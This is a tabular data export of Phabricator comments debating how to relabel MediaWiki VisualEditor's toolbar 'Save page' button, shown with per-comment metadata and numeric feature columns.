> The whole save/preview/edit summary interface feels clunky and getting the way. I don't have a constructive suggestion, it's a rather straightforward way of handling saving in a WYSIWYG editor - but it does not feel right, and I hear others complaining about it as well.

I think a large part of the weird feeling is having the button at the top of the screen. ""Submit"" buttons are typically at the bottom of the page, below the form they complete, to go with the reading flow (see this very interface as an example).",,,1491925559,,PHID-USER-uqnvjf4m5wpzmkaddswb,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,0.0,0.0,1.0,1.0,1.5,4.0,1.5,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.0,2.5,0.0,3.5,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,4.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,18.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.5,3.0,8.0,0.0,0.5,10.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,4.5,10.0,2.0,0.0,2.5,0.0,4.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,3.3770491803278686,0.680327868852459,"
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm not sure the standard is used in this way. It is used in dropdown menus, but I don't think it is common in push buttons. I certainly don't recall seeing it in web ""call to action-style"" buttons, ever.

QUOTE
QUOTE

I think a large part of the weird feeling is having the button at the top of the screen. ""Submit"" buttons are typically at the bottom of the page, below the form they complete, to go with the reading flow (see this very interface as an example)."
840376,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","
>>! In T44138#3162853, @Jan_Dittrich wrote:
>> Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.
> 
> I think this would make sense – it is an established UI standard and can be found in many desktop applications. 
> I would love to see an improved wording on the button itself, but util then, I’d go with …

I'm not sure the standard is used in this way. It is used in dropdown menus, but I don't think it is common in push buttons. I certainly don't recall seeing it in web ""call to action-style"" buttons, ever.",,,1491925344,,PHID-USER-uqnvjf4m5wpzmkaddswb,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,0.0,0.0,0.0,3.0,5.0,5.0,2.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,0.0,5.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,5.0,15.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,8.0,6.0,0.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.193548387096774,0.6129032258064516,"
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm not sure the standard is used in this way. It is used in dropdown menus, but I don't think it is common in push buttons. I certainly don't recall seeing it in web ""call to action-style"" buttons, ever."
840334,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3171527, @Elitre wrote:
> Do we know if there's an equivalent for the ellipsis for every language we support?

Looking at the translations for the [[https://translatewiki.net/w/i.php?title=Special:Translations&message=MediaWiki%3AEllipsis|ellipsis]] and some messages containing it ([[https://translatewiki.net/w/i.php?title=Special%3ATranslations&message=Watching&namespace=8|1]], [[https://translatewiki.net/w/i.php?title=Special%3ATranslations&message=Moredotdotdot&namespace=8|2]]) it would seem so.
",,,1491923160,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,19.0,3.2580645161290325,0.6451612903225806,"QUOTE
QUOTE

Looking at the translations for the [[URL and some messages containing it ([[URL [[URL it would seem so.
"
840328,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","@Elitre: To better understand the concern – is this about the problem that users may see a rectangle because their fonts don't support ""…"" or about the users not understanding what ""…"" means in that context?",,,1491923012,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,9.0,2.0,5.0,5.0,2.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,9.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,4.093023255813954,0.7906976744186046,"SCREEN_NAME: To better understand the concern – is this about the problem that users may see a rectangle because their fonts don't support ""…"" or about the users not understanding what ""…"" means in that context?"
840310,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",Do we know if there's an equivalent for the ellipsis for every language we support?,,,1491921951,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,197,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,18.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.8823529411764706,Do we know if there's an equivalent for the ellipsis for every language we support?
838513,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","> Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.

I think this would make sense – it is an established UI standard and can be found in many desktop applications. 
I would love to see an improved wording on the button itself, but util then, I’d go with …

Would look like: 
{F7336409}",,,1491557467,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,4.0,12.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,9.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,3.5357142857142856,0.875,"QUOTE

I think this would make sense – it is an established UI standard and can be found in many desktop applications. 
I would love to see an improved wording on the button itself, but util then, I’d go with …

Would look like: 
{F7336409}"
838512,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","> Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.

I think this would make sense – it is an established UI standard and can be found in many desktop applications. 

Would look like: 
{F7336409}",,,1491557372,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,12.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,15.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.787878787878788,0.9696969696969697,"QUOTE

I think this would make sense – it is an established UI standard and can be found in many desktop applications. 

Would look like: 
{F7336409}"
838511,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",,,,1491557269,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
838510,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",,,,1491557250,,PHID-USER-3qggseejscb6dtiy4uyx,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
836494,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","A very typical wording would be ""Review and save"" (or ""Review and publish""). It shouldn't be merely ""Save"" or ""Publish"", since the page is not immediately saved when pressing it.",,,1491301428,,PHID-USER-uqnvjf4m5wpzmkaddswb,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,196,,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,14.0,5.0,9.0,5.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,18.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3863636363636362,0.7272727272727273,"A very typical wording would be ""Review and save"" (or ""Review and publish""). It shouldn't be merely ""Save"" or ""Publish"", since the page is not immediately saved when pressing it."
816812,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","""Ready to save""?",,,1488280705,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,191,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.8333333333333334,"""Ready to save""?"
813563,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Maybe there should be something like ""Proceed to save"" instead...",,,1487742745,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,190,,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,15.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,0.9230769230769231,"Maybe there should be something like ""Proceed to save"" instead..."
635019,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","I like the save process for the most part.  I agree this (initial label that opens the dialog) could potentially be changed, but in practice it's not really a problem as is.",,,1458845746,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,142,,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,10.0,5.0,5.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.641025641025641,0.8974358974358975,"I like the save process for the most part.  I agree this (initial label that opens the dialog) could potentially be changed, but in practice it's not really a problem as is."
623100,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","The whole save/preview/edit summary interface feels clunky and getting the way. I don't have a constructive suggestion, it's a rather straightforward way of handling saving in a WYSIWYG editor - but it does not feel right, and I hear others complaining about it as well.",,,1457067955,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,139,,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,7.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,7.0,0.0,0.0,0.0,4.109090909090909,0.8181818181818182,"The whole save/preview/edit summary interface feels clunky and getting the way. I don't have a constructive suggestion, it's a rather straightforward way of handling saving in a WYSIWYG editor - but it does not feel right, and I hear others complaining about it as well."
200487,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","**swalling** wrote:

This is being discussed on enwiki as well, at https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#VE_.22save.22_vs_.22finish_edit.22_button",,,1373412857,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.8421052631578947,"**swalling** wrote:

This is being discussed on enwiki as well, at URL"
471188,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:

> [""Save page""] is the same label as on the button, in the old editing interface, that completed the edit session. Lots of effort has been made, over the years, to encourage editors to write an edit summary before they click ""Save page"", and now VE is designed exactly the opposite. The button ought to be labeled ""Finish edit"" or ""Continue"" or ""Final steps"" or just about anything other than ""Save page"".
> The current problem is even worse than just one poorly labeled button. In VE, after clicking ""Save page"", a dialog box appears that also has a ""Save page"" button. So now an editor has to understand that the two ""Save page"" buttons do not do the same thing. And documentation (when it's written) is going to have to clarify which ""Save page"" button is being referred to - unless the label on the first occurrence of ""Save page"" is changed, as it should be.

The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]].",,,1433810308,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,101,,0.0,0.0,0.0,3.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,4.0508474576271185,0.7796610169491526,"There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:

QUOTE
QUOTE

The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]]."
471187,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:

> [""Save page""] is the same label as on the button, in the old editing interface, that completed the edit session. Lots of effort has been made, over the years, to encourage editors to write an edit summary before they click ""Save page"", and now VE is designed exactly the opposite. The button ought to be labeled ""Finish edit"" or ""Continue"" or ""Final steps"" or just about anything other than ""Save page"".

> The current problem is even worse than just one poorly labeled button. In VE, after clicking ""Save page"", a dialog box appears that also has a ""Save page"" button. So now an editor has to understand that the two ""Save page"" buttons do not do the same thing. And documentation (when it's written) is going to have to clarify which ""Save page"" button is being referred to - unless the label on the first occurrence of ""Save page"" is changed, as it should be.

The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]].",,,1433810295,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,101,,0.0,0.0,0.0,3.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,4.067796610169491,0.7627118644067796,"There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:

QUOTE

QUOTE

The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]]."
200478,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:

---
[""Save page""] is the same label as on the button, in the old editing interface, that completed the edit session. Lots of effort has been made, over the years, to encourage editors to write an edit summary before they click ""Save page"", and now VE is designed exactly the opposite. The button ought to be labeled ""Finish edit"" or ""Continue"" or ""Final steps"" or just about anything other than ""Save page"".

The current problem is even worse than just one poorly labeled button. In VE, after clicking ""Save page"", a dialog box appears that also has a ""Save page"" button. So now an editor has to understand that the two ""Save page"" buttons do not do the same thing. And documentation (when it's written) is going to have to clarify which ""Save page"" button is being referred to - unless the label on the first occurrence of ""Save page"" is changed, as it should be.
---

The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]].",,,1373365011,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,1,,0.0,0.3333333333333333,0.0,3.0,0.3333333333333333,4.333333333333333,1.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,11.0,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,15.666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,7.0,4.666666666666667,9.333333333333334,1.0,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,1.0,11.0,3.3333333333333335,0.0,8.333333333333334,0.0,1.0,0.0,1.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.0,1.0,3.6550387596899228,0.6666666666666666,"There have been a lot of complaints about this on the enwiki feedback page. One especially interesting point was raised by the ever-wise John Broughton:

---
[""Save page""] is the same label as on the button, in the old editing interface, that completed the edit session. Lots of effort has been made, over the years, to encourage editors to write an edit summary before they click ""Save page"", and now VE is designed exactly the opposite. The button ought to be labeled ""Finish edit"" or ""Continue"" or ""Final steps"" or just about anything other than ""Save page"".

The current problem is even worse than just one poorly labeled button. In VE, after clicking ""Save page"", a dialog box appears that also has a ""Save page"" button. So now an editor has to understand that the two ""Save page"" buttons do not do the same thing. And documentation (when it's written) is going to have to clarify which ""Save page"" button is being referred to - unless the label on the first occurrence of ""Save page"" is changed, as it should be.
---

The button label on enwiki was modified to ""Finish edit"" per [[MediaWiki:Visualeditor-toolbar-savedialog]]."
200469,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","I agree the toolbar button needs improvement, but imho changing the label from ""Save page"" to ""Save page..."" is not an improvement.

It doesn't clarify or improve the user experience, it only makes it more mysterious.

I'd prefer we look for another solution, but I think the current situation is better than having ""..."" tacked on to the label.",,,1370637776,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,5.0,0.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,1.0,4.0,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,8.0,3.0,0.0,8.0,0.0,9.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,3.8026315789473686,0.6710526315789473,"I agree the toolbar button needs improvement, but imho changing the label from ""Save page"" to ""Save page..."" is not an improvement.

It doesn't clarify or improve the user experience, it only makes it more mysterious.

I'd prefer we look for another solution, but I think the current situation is better than having ""..."" tacked on to the label."
200461,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs"".",,,1370298498,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,16.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,12.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,10.0,16.0,0.0,0.0,7.0,0.0,10.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,3.0344827586206895,0.6551724137931034,"Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs""."
